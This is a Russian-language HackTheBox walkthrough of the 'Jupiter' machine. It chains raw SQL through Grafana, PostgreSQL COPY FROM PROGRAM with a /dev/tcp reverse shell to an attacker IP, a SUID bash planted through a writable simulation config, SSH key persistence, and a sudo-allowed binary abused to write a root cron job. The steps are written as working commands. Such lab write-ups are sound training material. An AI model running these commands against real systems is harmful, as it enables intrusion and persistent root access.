Обзор сервисов

Начнем со стандартного сканирования машины с IP-адресом 10.10.11.216 с помощью nmap:

$ nmap --privileged -sS -p1-65535 -Pn -oN 10.10.11.216 10.10.11.216
Starting Nmap 7.80 ( https://nmap.org ) at 2023-09-25 20:39 GMT
Nmap scan report for 10.10.11.216
Host is up (0.055s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Вывод стандартный для Linux-машин на HackTheBox.

Чтобы исследовать веб-сервис, необходимо прописать себе /etc/hosts адрес машины:

Alt text

$ sudo nano /etc/hosts
10.10.11.216 jupiter.htb

Зайдем на сервис снова.

Alt text

Беглый осмотр веб-сайта ничего не дал. Запустим gobuster с параметром vhost для поиска поддоменов.

$ ./gobuster vhost -u http://jupiter.htb -w /opt/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://jupiter.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /opt/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: kiosk.jupiter.htb Status: 200 [Size: 34390]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

По адресу kiosk.jupiter.htb нас встречает Grafana.

Alt text

Если посмотреть в историю в Burp, то можно увидеть POST запрос на /api/ds/query, в который можно отправлять сырой SQL-запрос.

Alt text

Попробуем выполнить select version();

Alt text

Узнаем, что это PostgreSQL.

Попробуем воспользоваться CVE-2019–9193.

Запускаем netcat и последовательно выполняем запросы:

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'bash -c \"bash -i >& /dev/tcp/10.10.14.5/4242 0>&1\"';

Alt text

Посмотрим пользователей в системе:

$ cat /etc/passwd
juno:x:1000:1000:juno:/home/juno:/bin/bash
...
jovian:x:1001:1002:,,,:/home/jovian:/bin/bash
...

Поищем все файлы, принадлежащие пользователю juno:

$ find / -user juno 2>/dev/null
/dev/shm/shadow.data
/dev/shm/shadow.data/sim-stats.json
/dev/shm/shadow.data/processed-config.yaml
/dev/shm/shadow.data/hosts
/dev/shm/shadow.data/hosts/server
/dev/shm/shadow.data/hosts/server/server.python3.10.1000.exitcode
/dev/shm/shadow.data/hosts/server/server.python3.10.1000.shimlog
/dev/shm/shadow.data/hosts/server/server.python3.10.1000.stderr
/dev/shm/shadow.data/hosts/server/server.python3.10.1000.stdout
/dev/shm/shadow.data/hosts/client3
/dev/shm/shadow.data/hosts/client3/client3.curl.1000.exitcode
/dev/shm/shadow.data/hosts/client3/client3.curl.1000.shimlog
/dev/shm/shadow.data/hosts/client3/client3.curl.1000.stderr
/dev/shm/shadow.data/hosts/client3/client3.curl.1000.stdout
/dev/shm/shadow.data/hosts/client2
/dev/shm/shadow.data/hosts/client2/client2.curl.1000.exitcode
/dev/shm/shadow.data/hosts/client2/client2.curl.1000.shimlog
/dev/shm/shadow.data/hosts/client2/client2.curl.1000.stderr
/dev/shm/shadow.data/hosts/client2/client2.curl.1000.stdout
/dev/shm/shadow.data/hosts/client1
/dev/shm/shadow.data/hosts/client1/client1.curl.1000.exitcode
/dev/shm/shadow.data/hosts/client1/client1.curl.1000.shimlog
/dev/shm/shadow.data/hosts/client1/client1.curl.1000.stderr
/dev/shm/shadow.data/hosts/client1/client1.curl.1000.stdout
/dev/shm/network-simulation.yml
/home/juno

Проверим, что в каталоге /dev/shm:

$ ls -la
total 32
drwxrwxrwt  3 root     root       100 Sep 30 16:54 .
drwxr-xr-x 20 root     root      4020 Sep 30 16:29 ..
-rw-------  1 postgres postgres 26976 Sep 30 16:29 PostgreSQL.603670224
-rw-rw-rw-  1 juno     juno       815 Mar  7  2023 network-simulation.yml
drwxrwxr-x  3 juno     juno       100 Sep 30 16:54 shadow.data
$ cat network-simulation.yml
general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/curl
      args: -s server
      start_time: 5s

Похоже, что на сервере происходит просчет каких-то симуляций. Модифицируем этот файл так, чтобы скопировать bash в новое место и дать ему SUID-бит.

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/cp
      args: /usr/bin/bash /tmp/bash
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/chmod
      args: u+s /tmp/bash
      start_time: 5s

Через несколько секунд появится файл /tmp/bash с SUID-битом.

$ ls -la /tmp
...
-rwsr-xr-x  1 juno     juno     1396520 Sep 30 17:06 bash
...
$ /tmp/bash -p
$ id
uid=114(postgres) gid=120(postgres) euid=1000(juno) groups=120(postgres),119(ssl-cert)
$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHyMaYjXJ1mzrhbBqZbYDujLFoka3euJlLcVgBk0HKMa u" >> /home/juno/.ssh/authorized_keys

Теперь подключимся по SSH:

Флаг пользователя

Alt text

Повышение привилегий

Проверим, какие порты открыты:

$ netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:8888          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:3000          127.0.0.1:54810         TIME_WAIT   timewait (11.68/0/0)
tcp        0      0 127.0.0.1:3000          127.0.0.1:38050         TIME_WAIT   timewait (42.74/0/0)
tcp        0      0 127.0.0.1:38036         127.0.0.1:3000          TIME_WAIT   timewait (34.00/0/0)
tcp        0      0 127.0.0.1:50368         127.0.0.1:3000          TIME_WAIT   timewait (0.61/0/0)
...

Интересные порты 8888, 3000.

Перенаправим порт и посмотрим, что на порту 8888.

ssh -L 127.0.0.1:8888:127.0.0.1:8888 [email protected]

Alt text

Чтобы пройти в Jupiter ноутбук, нам нужен токен. Попробуем поискать в системе:

$ grep token / -R
/opt/solar-flares/logs/jupyter-2023-03-08-14.log:        http://localhost:8888/?token=b8055b937eeb17431b3f00dfc5159ba909012d86be120b60
/opt/solar-flares/logs/jupyter-2023-03-08-14.log:     or http://127.0.0.1:8888/?token=b8055b937eeb17431b3f00dfc5159ba909012d86be120b60
/opt/solar-flares/logs/jupyter-2023-03-09-59.log:[I 11:59:22.116 NotebookApp] http://localhost:8888/?token=c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
/opt/solar-flares/logs/jupyter-2023-03-09-59.log:[I 11:59:22.116 NotebookApp]  or http://127.0.0.1:8888/?token=c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
/opt/solar-flares/logs/jupyter-2023-03-09-59.log:        http://localhost:8888/?token=c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
/opt/solar-flares/logs/jupyter-2023-03-09-59.log:     or http://127.0.0.1:8888/?token=c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
juno@jupiter:/opt/solar-flares/logs$ cat jupyter-2023-09-30-29.log 
[W 16:29:17.608 NotebookApp] Terminals not available (error was No module named 'terminado')
[I 16:29:17.615 NotebookApp] Serving notebooks from local directory: /opt/solar-flares
[I 16:29:17.615 NotebookApp] Jupyter Notebook 6.5.3 is running at:
[I 16:29:17.615 NotebookApp] http://localhost:8888/?token=ea7514260febbf8ab46c7511025115cd106d90a684552a83
[I 16:29:17.615 NotebookApp]  or http://127.0.0.1:8888/?token=ea7514260febbf8ab46c7511025115cd106d90a684552a83
[I 16:29:17.615 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
[W 16:29:17.620 NotebookApp] No web browser found: could not locate runnable browser.
[C 16:29:17.620 NotebookApp] 
    
    To access the notebook, open this file in a browser:
        file:///home/jovian/.local/share/jupyter/runtime/nbserver-1170-open.html
    Or copy and paste one of these URLs:
        http://localhost:8888/?token=ea7514260febbf8ab46c7511025115cd106d90a684552a83
     or http://127.0.0.1:8888/?token=ea7514260febbf8ab46c7511025115cd106d90a684552a83
[I 17:57:42.462 NotebookApp] 302 GET / (127.0.0.1) 0.880000ms
[I 17:57:42.597 NotebookApp] 302 GET /tree? (127.0.0.1) 2.000000ms
[W 17:59:06.035 NotebookApp] 401 POST /login?next=%2Ftree%3F (127.0.0.1) 2.880000ms referer=http://127.0.0.1:8888/login?next=%2Ftree%3F
[W 18:01:16.896 NotebookApp] 401 POST /login?next=%2Ftree%3F (127.0.0.1) 3.370000ms referer=http://127.0.0.1:8888/login?next=%2Ftree%3F

После ввода токена создадим новый Jupiter Notebook и пропишем свой ключ как пользователь jovian.

Alt text

Переподключимся как jovian:

Alt text

Проверим, что мы можем делать от имени суперпользователя:

jovian@jupiter:~$ sudo -l
Matching Defaults entries for jovian on jupiter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User jovian may run the following commands on jupiter:
    (ALL) NOPASSWD: /usr/local/bin/sattrack
$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Configuration file has not been found. Please try again!
$ strings /usr/local/bin/sattrack | grep config
/tmp/config.json
tleroot not defined in config
updatePerdiod not defined in config
station not defined in config
name not defined in config
lat not defined in config
lon not defined in config
hgt not defined in config
mapfile not defined in config
texturefile not defined in config
tlefile not defined in config
su_lib_log_config
_GLOBAL__sub_I__Z6configB5cxx11

Попробуем найти используемый файл /tmp/config.json и скопировать его по нужному пути:

$ find / -name config.json 2>/dev/null
/usr/local/share/sattrack/config.json
/usr/local/lib/python3.10/dist-packages/zmq/utils/config.json
$ cp /usr/local/share/sattrack/config.json /tmp/config.json

Посмотрим на файл:

$ cat /tmp/config.json 
{
 "tleroot": "/tmp/tle/",
 "tlefile": "weather.txt",
 "mapfile": "/usr/local/share/sattrack/map.json",
 "texturefile": "/usr/local/share/sattrack/earth.png",
 
 "tlesources": [
  "http://celestrak.org/NORAD/elements/weather.txt",
  "http://celestrak.org/NORAD/elements/noaa.txt",
  "http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
 ],
 
 "updatePerdiod": 1000,
 
 "station": {
  "name": "LORCA",
  "lat": 37.6725,
  "lon": -1.5863,
  "hgt": 335.0
 },
 
 "show": [
 ],
 
 "columns": [
  "name",
  "azel",
  "dis",
  "geo",
  "tab",
  "pos",
  "vel"
 ]
}

При запуске от имени суперпользователя программа пытается выкачать данные из http://celestrak.org/NORAD/elements/weather.txt и положить в файл /tmp/tle/weather.txt.

$ sudo /usr/local/bin/sattrack
Satellite Tracking System
tleroot does not exist, creating it: /tmp/tle/
Get:0 http://celestrak.org/NORAD/elements/weather.txt

Этим способом можно записать любой файл от имени суперпользователя. Запишем с помощью записи в cron свой ключ в /root/.ssh/authorized_keys:

$ nano /tmp/root
*/1 * * * * root mkdir -p /root/.ssh && echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHyMaYjXJ1mzrhbBqZbYDujLFoka3euJlLcVgBk0HKMa u" > /root/.ssh/authorized_keys
$ nano /tmp/config.json
{
 "tleroot": "/etc/cron.d/",
 "tlefile": "weather.txt",
 "mapfile": "/usr/local/share/sattrack/map.json",
 "texturefile": "/usr/local/share/sattrack/earth.png",
 
 "tlesources": [
  "file:///tmp/root"
 ],
 
 "updatePerdiod": 1000,
 
 "station": {
  "name": "LORCA",
  "lat": 37.6725,
  "lon": -1.5863,
  "hgt": 335.0
 },
 
 "show": [
 ],
 
 "columns": [
  "name",
  "azel",
  "dis",
  "geo",
  "tab",
  "pos",
  "vel"
 ]
}
$ sudo /usr/local/bin/sattrack 
Satellite Tracking System
Get:0 file:///tmp/root
tlefile is not a valid file

После этого подождем две минуты и залогинимся как root.

Флаг суперпользователя

Alt text